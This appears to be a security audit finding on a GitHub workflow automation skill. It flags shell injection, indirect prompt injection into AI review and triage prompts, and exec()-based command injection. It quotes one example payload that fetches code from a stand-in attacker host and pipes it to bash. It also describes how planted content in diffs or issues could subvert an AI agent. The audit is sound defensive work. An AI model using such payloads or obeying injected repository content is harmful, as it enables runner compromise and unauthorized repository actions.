The Agent Skills Directory

[COMMAND_EXECUTION]: The AI Mention Bot workflow (mention-bot.yml) contains a shell injection vulnerability. The command question=$(echo "${{ github.event.comment.body }}" | sed 's/.*@ai-helper//') directly interpolates the user's comment into a shell script. An attacker can craft a comment like "; curl http://attacker.com/exploit | bash; #" to execute arbitrary commands on the GitHub Actions runner.
[INDIRECT_PROMPT_INJECTION]: Multiple workflows ingest untrusted data from the repository environment without sanitization or boundary markers:
In ai-review.yml, the git diff output and file list are interpolated directly into the LLM prompt. An attacker could commit files containing instructions to subvert the review process.
In issue-triage.yml, the issue title and body are interpolated into TRIAGE_PROMPT. Malicious issue content could influence the labeling or cause the agent to perform unintended actions via the github-script capabilities.
Ingestion points: github.event.comment.body, git diff output, issue.title, issue.body.
Boundary markers: Absent in all prompt interpolation examples.
Capability inventory: The workflows possess broad capabilities including pull-requests: write, issues: write, git push --force-with-lease, and the ability to add labels or comments.
Sanitization: No escaping or filtering is applied to external content before it is processed by the AI.
[DYNAMIC_EXECUTION]: The smartCherryPick logic in section 4.2 uses an exec() function to run shell commands constructed with variables like commitHash and targetBranch. If these variables are sourced from untrusted user input (such as PR comments), it represents a command injection risk.
[REMOTE_CODE_EXECUTION]: The PR Review workflow dynamically requires the @anthropic-ai/sdk package and executes logic via actions/github-script. While the package is standard, the lack of input validation for the data sent to the client (the diff) allows an attacker to control the 'user' role content in the message creation call.

github-workflow-automation